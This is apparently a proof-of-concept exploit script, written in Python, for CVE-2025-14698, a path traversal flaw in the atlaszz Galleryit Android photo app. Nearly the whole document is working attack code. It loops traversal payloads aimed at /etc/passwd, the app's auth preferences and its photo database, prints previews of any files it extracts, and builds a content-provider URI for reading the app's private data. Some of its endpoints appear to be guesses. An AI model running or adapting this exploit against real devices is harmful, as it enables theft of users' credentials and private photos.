CVE-2025-14698 atlaszz AI Photo Team Galleryit App路径遍历漏洞

# CVE-2025-14698 Path Traversal PoC for atlaszz AI Photo Team Galleryit App # Tested on Android with app version 1.3.8.2 import requests import urllib.parse def exploit_path_traversal(target_ip, target_port=80): """ Exploit for CVE-2025-14698: Path Traversal in atlaszz AI Photo Team Galleryit App Component: gallery.photogallery.pictures.vault.album """ # Target endpoint for gallery photo access base_url = f"http://{target_ip}:{target_port}" # Path traversal payloads to read sensitive files payloads = [ "../../../etc/passwd", "../../../system/app/permissions.xml", "../../data/data/com.atlaszz.galleryit/shared_prefs/auth.xml", "../../../data/data/com.atlaszz.galleryit/databases/photos.db", "../../../sdcard/DCIM/../..//data/data/com.atlaszz.galleryit/files/", "..\..\..\windows\system32\drivers\etc\hosts" ] for payload in payloads: # Try to access files through path traversal encoded_payload = urllib.parse.quote(payload) # Method 1: Direct file access endpoint url = f"{base_url}/gallery/photogallery/pictures/vault/album?path={encoded_payload}" try: response = requests.get(url, timeout=5) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Extracted file with payload: {payload}") print(f"Content preview: {response.text[:200]}...") except requests.RequestException as e: print(f"[-] Request failed for payload {payload}: {e}") # Method 2: Alternative endpoint format url2 = f"{base_url}/api/v1/album/read?file={encoded_payload}" try: response2 = requests.post(url2, timeout=5) if response2.status_code == 200: print(f"[+] SUCCESS via POST: {payload}") except: pass print("\n[*] Note: This PoC requires local access to the Android device") print("[*] For Android exploitation, use ADB or install a companion app") # Android-specific exploitation via content provider def android_content_provider_exploit(): """ Exploitation via Android Content Provider if exposed """ content_uri = "content://com.atlaszz.galleryit.provider/album" # Malicious path to traverse malicious_path = "../../data/data/com.atlaszz.galleryit/shared_prefs/" # Construct the exploit query exploit_uri = f"{content_uri}?path={malicious_path}" print(f"[*] Android Content Provider Exploit URI: {exploit_uri}") print("[*] Execute via: content query --uri <exploit_uri>\n") if __name__ == "__main__": print("CVE-2025-14698 Path Traversal Exploitation") print("Target: atlaszz AI Photo Team Galleryit App 1.3.8.2") print("=" * 50) # For remote targets (if app exposes network interface) # exploit_path_traversal("192.168.1.100", 8080) # Android-specific exploitation android_content_provider_exploit()